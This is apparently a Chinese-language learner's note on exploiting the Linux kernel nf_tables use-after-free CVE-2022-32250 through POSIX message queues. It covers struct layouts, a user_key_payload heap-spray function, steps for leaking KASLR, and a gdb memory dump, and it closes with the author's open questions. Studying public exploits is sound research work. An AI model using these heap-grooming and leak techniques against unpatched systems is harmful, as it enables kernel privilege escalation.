#include <string.h>

#include <mqueue.h>

#define QUEUE_NAME "/queue1"

int main(void)
{
    mqd_t message_queue_id;
    unsigned int priority = 0;
    char message_text[100];
    int status;

    message_queue_id = mq_open(QUEUE_NAME, O_RDWR | O_CREAT | O_EXCL, S_IRWXU | S_IRWXG, NULL);
    if (message_queue_id == -1) {
        perror("Unable to create queue");
        return 2;
    }

    strcpy(message_text, "Hello world!");

    status = mq_send(message_queue_id, message_text, strlen(message_text)+1, priority);
    if (status == -1) {
        perror("Unable to send message");
        return 2;
    }

    status = mq_close(message_queue_id);
    if (status == -1) {
        perror("Unable to close message queue");
        return 2;
    }

    return 0;
}

posix_msg_tree_node 管理多个 mqueue 的消息,其中的 msg_list.next 的偏移量为 0x18 。

c

struct posix_msg_tree_node {  
	struct rb_node rb_node;  
	struct list_head msg_list;  
	int priority;  
};  
  
struct rb_node {  
	unsigned long __rb_parent_color;  
	struct rb_node *rb_right;  
	struct rb_node *rb_left;  
} __attribute__((aligned(sizeof(long))));

如果 uaf 发生,那么就会覆盖 msg_list->next 在下图的黄色区域伪造一个 msg_msg 结构体,这个 msg_msg 结构体会覆盖到下物理相邻的下面一个块。以及因为 copy_to_user() 中有 heap_check,会检查拷贝大小是否超出内存所在slab的大小,所以这里只能读取 data 的 0x10字节。

这个物理相邻的下一个块的内容可以通过 mq_timedreceive 来得知。所以要布置什么结构体呢?

  • 目标对象的前8字节需为0:因为 mq_timedreceive 调用会触发执行 msg_free 来释放 msg_msg.security,所以目标对象的前 8 字节需要是 0
  • 在 0x8 - 0x10 区域需要有一个指针。 还是选择了 user_key_payload 结构体,前8字节 user_key_payload->rcu->next 正常为0,且第2个8字节为 user_key_payload->rcu->func 内核函数指针。
不过一开始分配 user_key_payload结构体时候 rcu 没有立即赋值

这和 RCU 这种机制有关系,RCU 用在数据的删除和回收阶段。所以需要调用 key_revoke 或者 key_update

关于 RCU 可以查看 What is RCU? – “Read, Copy, Update” — The Linux Kernel documentation。简单来说就是,把数据更新的操作分成删除和回收两个步骤,目的是删除和读取可以同时进行。

  • 删除指向数据结构的指针,以便后续读者无法获得对其的引用。
  • 等待所有先前的读者完成其 RCU 读取端关键部分。
  • 此时,不可能有任何读者持有对该数据结构的引用,因此现在可以安全地回收它
  • 放置不合法的 expr 随后被 destroy
  • 用 posix_msg_tree_node 申请刚刚被 destroy 的块
  • 再放置一个不合法的 expr 随后被 destroy,这时候的 binding 触发,posix_msg_tree_node 结构体的 msg_list.next 位置被写上新的 expr + 0x18 的值,新的 expr 随后也被 destroy
  • user_key_payload 堆喷覆盖最新一次释放的 expr,伪造出来 msg_msg 的前 8*5 个字节。物理地址相邻的块也被 user_key_payload 覆盖,伪造出来 security 和需要泄露的 data 区域
为什么申请的 user_key_payload 申请出来长这样

代码是

c

void spray_key_payload_with_attr(uint64_t next, uint64_t prev, int size)
{
  char buf[0x40];
 char buf_p[0x40] = {0};
  *(uint64_t *) (buf_p + 0) = next;
   *(uint64_t *) (buf_p + 0x8) = prev;
   *(uint64_t *) (buf_p + 0x10) = 0x1122334455667788;
   *(int *) (buf_p + 0x18) = size;
  for (int i = 0; i < KEY_SPRAY_SIZE; i++) {
     memset(buf, key_idx++, 0x8);
      key_id[i] = key_alloc(buf, buf_p, 0x20); // description need to be different
   }
 }

在 gdb 里面是这样,本应该是 rcu 的位置就很奇怪,感觉可能是 key 的分配逻辑不太清楚

text

pwndbg> x/20gx  0xffff888003b91bc0
0xffff888003b91bc0:     0xffffffff823263e0      0xffff888003b21e00
0xffff888003b91bd0:     0x0000000000000020      0xffff888003b91098
0xffff888003b91be0:     0xffff888003b91098      0x1122334455667788
0xffff888003b91bf0:     0x0000000000000020      0x0000000000000000
0xffff888003b91c00:     0xcccccccccccccccc      0xcccccccccccccccc
0xffff888003b91c10:     0xcccccccccccc0020      0xffff888003b91098
0xffff888003b91c20:     0xffff888003b91098      0x1122334455667788
0xffff888003b91c30:     0x0000000000000020      0xcccccccccccccccc
0xffff888003b91c40:     0xcccccccccccccccc      0xcccccccccccccccc
0xffff888003b91c50:     0xcccccccccccc0020      0xffff888003b91098

Linux Kernel Exploit (CVE-2022–32250) with mqueue | by Theori Vulnerability Research | Theori BLOG

【kernel exploit】CVE-2022-32250 nftables UAF写漏洞利用 — bsauce

Use-After-Free Vulnerability - CVE-2022-32250 - vsociety

nccgroup.com/us/research-blog/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/#cve-2022-32250-analysis

为什么有写地方是初始化成 0xcc,slub_debug 怎么关掉?

在泄露 kaslr 布置 user_key_payload 的步骤里面有点晕,不太懂怎么布置的…